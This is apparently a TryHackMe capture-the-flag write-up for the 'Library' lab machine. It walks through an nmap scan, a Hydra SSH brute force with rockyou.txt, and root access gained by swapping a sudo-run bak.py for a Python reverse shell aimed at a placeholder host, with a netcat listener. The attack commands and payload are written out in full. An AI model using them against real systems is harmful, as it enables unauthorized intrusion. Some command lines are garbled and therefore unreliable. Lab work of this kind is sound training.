

LIBRARY

Linux • SSH Brute Force • Python Privilege Escalation

Difficulty: Easy

Machine Information

Machine Name	Library
IP Address	10.48.155.149
Difficulty	Easy
OS	Linux
Category	SSH Brute Force Privilege Escalation
Platform	TryHackMe
Date Completed	10-05-2026
Completed By	

Tools Used

- nmap – Network & service scanning
- Hydra – SSH brute-force attack
- Netcat (nc) – Reverse shell listener
- Python – Custom privilege escalation script
- Rockyou.txt – Password wordlist

Reconnaissance & Enumeration

STEP 1 — Nmap Scan

We start with a full port scan using Nmap to discover open services and their versions on the target machine.

Command Used:

```
nmap -sV -A -p- -T4 10.48.155.149
```

Findings:

- ▶ Port 22 – SSH (OpenSSH)
- ▶ Port 80 – HTTP (Apache Web Server)

⚡ Key Discovery!

The Nmap scan revealed a robots.txt file with the following entry: User-Agent: *
Disallow: /rockyou This is a strong hint — the wordlist rockyou.txt should be used for brute-forcing!

Screenshot – Nmap Scan Output:

```
└─$ sudo nmap -sV -A 10.48.155.149
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 22:57 +0530
Nmap scan report for 10.48.155.149
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
|   256  68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_  256  43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Welcome to Blog - Library Machine
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-robots.txt: 1 disallowed entry
|_/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/10%OT=22%CT=1%CU=44122%PV=Y%DS=3%DC=T%G=Y%TM=6A00C0D
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=106%TI=Z%CI=I%II=I%TS=8)SEQ
OS:(SP=100%GCD=1%ISR=100%TI=Z%CI=I%II=I%TS=8)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%
OS:CI=I%II=I%TS=8)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)OPS(O1=M4E8S
OS:T11NW7%O2=M4E8ST11NW7%O3=M4E8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M
OS:4E8ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y
OS:%T=40%W=6903%O=M4E8NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+F=AS%RD=0%Q=
OS:)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=
OS:164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT      ADDRESS
1   204.41 ms 192.168.128.1
2   ...
3   204.91 ms 10.48.155.149

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

STEP 2 — Web Enumeration — Finding the Username

We navigate to the web server running on port 80. By scrolling through the website content, we discover a username hidden in the page.

⚡ Username Found!

Username: meliodas

✦ Exploitation

STEP 3 — SSH Brute Force with Hydra

Using the discovered username 'meliodas' and the hint from robots.txt, we run a brute-force attack against the SSH service using Hydra with the rockyou.txt wordlist.

Command Used:

```
hydra -t 64 -l meliodas -P /usr/share/wordlists/rockyou.txt  
ssh://10.48.155.149
```

⚡ SSH Credentials Found!

Username: meliodas Password: [your cracked password here]

Screenshot – Hydra brute force success:

```
(kali@kali)-[/usr/share/wordlists]  
$ hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.48.155.149  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,  
se ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-10 23:24:51  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task  
[DATA] attacking ssh://10.48.155.149:22/  
*2  
zsh: suspended hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.48.155.149  
  
(kali@kali)-[/usr/share/wordlists]  
$ hydra -t 64 -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.48.155.149  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,  
se ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-10 23:25:21  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4  
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task  
[DATA] attacking ssh://10.48.155.149:22/  
[22][ssh] host: 10.48.155.149 login: meliodas password: iloveyou1  
1 of 1 target successfully completed, 1 valid password found  
[WARNING] Writing restore file because 19 final worker threads did not complete until end.  
[ERROR] 19 targets did not resolve or could not be connected  
[ERROR] 0 target did not complete  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-10 23:25:44
```

STEP 4 — SSH Login & Getting User Flag

With the credentials in hand, we log in to the machine via SSH.

Command Used:

```
ssh meliodas@10.48.155.149
```

After logging in, we find the user.txt flag in the home directory.

```
cat user.txt
```

```
(kali@kali)-[/usr/share/wordlists]
$ ssh meliodas@10.48.155.149
The authenticity of host '10.48.155.149 (10.48.155.149)' can't be established.
ED25519 key fingerprint is: SHA256:Ykgtf0Q1wQcyR8aGkW4BE8f3eK/QPGXnmEMgpaLxmzs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.155.149' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
meliodas@10.48.155.149's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Sat Aug 24 14:51:01 2019 from 192.168.15.118
meliodas@ubuntu:~$ ls
bak.py  user.txt
meliodas@ubuntu:~$ ls -la
total 40
drwxr-xr-x 4 meliodas meliodas 4096 Aug 24 2019 .
drwxr-xr-x 3 root      root      4096 Aug 23 2019 ..
-rw-r--r-- 1 root      root      353 Aug 23 2019 bak.py
-rw-r--r-- 1 root      root      44 Aug 23 2019 .bash_history
-rw-r--r-- 1 meliodas meliodas 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 meliodas meliodas 3771 Aug 23 2019 .bashrc
drwx----- 2 meliodas meliodas 4096 Aug 23 2019 .cache
drwxrwxr-x 2 meliodas meliodas 4096 Aug 23 2019 .nano
-rw-r--r-- 1 meliodas meliodas 655 Aug 23 2019 .profile
-rw-r--r-- 1 meliodas meliodas  0 Aug 23 2019 .sudo_as_admin_successful
-rw-rw-r-- 1 meliodas meliodas 33 Aug 23 2019 user.txt
meliodas@ubuntu:~$ cat user.txt
flag{0x00000000000000000000000000000000}
```

↑ Privilege Escalation

STEP 5 — Sudo Enumeration & Python Exploit

After getting the user shell, we check what sudo privileges the user 'meliodas' has.

Command Used:

```
sudo -l
```

⚡ Sudo Privilege Found!

User meliodas can run Python as root WITHOUT a password: (root) NOPASSWD: /usr/bin/python /home/meliodas/bak.py The file bak.py currently zips /var/www/html — we can replace it with our own script!

“sudo -l” shows the privilege for the user meliodas

```
meliodas@ubuntu:~$ ls -la
total 40
drwxr-xr-x 4 meliodas meliodas 4096 Aug 24 2019 .
drwxr-xr-x 3 root     root     4096 Aug 23 2019 ..
-rw-r--r-- 1 root     root     353 Aug 23 2019 bak.py
-rw-r--r-- 1 root     root      44 Aug 23 2019 .bash_history
-rw-r--r-- 1 meliodas meliodas 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 meliodas meliodas 3771 Aug 23 2019 .bashrc
drwxr-xr-x 2 meliodas meliodas 4096 Aug 23 2019 .cache
drwxrwxr-x 2 meliodas meliodas 4096 Aug 23 2019 .nano
-rw-r--r-- 1 meliodas meliodas 655 Aug 23 2019 .profile
-rw-r--r-- 1 meliodas meliodas   0 Aug 23 2019 .sudo_as_admin_successful
-rw-rw-r-- 1 meliodas meliodas  33 Aug 23 2019 user.txt
```

STEP 6 — Replace bak.py with Reverse Shell

We delete the existing bak.py file and create our own malicious Python script that opens a reverse shell back to our machine.

Commands Used:

```
rm /home/meliodas/bak.py
```

```
echo 'import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR_IP",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])' >
/home/meliodas/bak.py
```

Screenshot – Creating the malicious bak.py:

```
GNU nano 2.5.3 File: bak.py
import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 4444))

os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr

subprocess.call(["/bin/sh", "-i"])
```

STEP 7 — Start Netcat Listener & Execute

Open a second terminal on your attacking machine and start a Netcat listener. Then trigger the script using sudo.

Terminal 1 — Netcat Listener:

```
nc -lnvp 4444
```

Terminal 2 — Trigger the Script as Root:

```
sudo -u root /usr/bin/python /home/meliодas/bak.py
```

⚡ ROOT SHELL OBTAINED! 🐵

The Netcat listener catches the connection and we have a root shell! Now grab the root flag: cat /root/root.txt

Screenshot – Root shell obtained:

```

(nc -l -p 4444) [~]
$ nc -lvnp 4444 https://help.ubuntu.com
listening on [any] 4444 ...
connect to [192.168.226.89] from (UNKNOWN) [10.48.155.149] 50278
# TERM=xterm
# ls
bak.py  user.txt  writefile.py
user.txt
# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@ubuntu:~# ls
ls
bak.py  user.txt  socket.AF_INET,socket.SOCK_STREAM
root@ubuntu:~# whoami
whoami
root
root@ubuntu:~# ls -la

```



Lessons Learned

- robots.txt can reveal hidden wordlists or sensitive paths — always check it!
- Usernames exposed in website content can be used for targeted brute-force attacks.
- sudo -l is one of the first checks for privilege escalation — always run it!
- If a user can run a writable script as root, simply replace it with a reverse shell.
- Weak passwords combined with public usernames are a critical security flaw.

✂ Attack Chain Summary

Step 1	Nmap scan → Found port 22 (SSH) & port 80 (HTTP)
Step 2	robots.txt hint → Use rockyou.txt wordlist
Step 3	Website enumeration → Username: meliodas
Step 4	Hydra brute force → SSH password cracked
Step 5	SSH login → Got user.txt flag
Step 6	sudo -l → Python runs bak.py as root (no password)
Step 7	Replaced bak.py → Reverse shell to attacker
Step 8	Netcat listener → Root shell → Got root.txt flag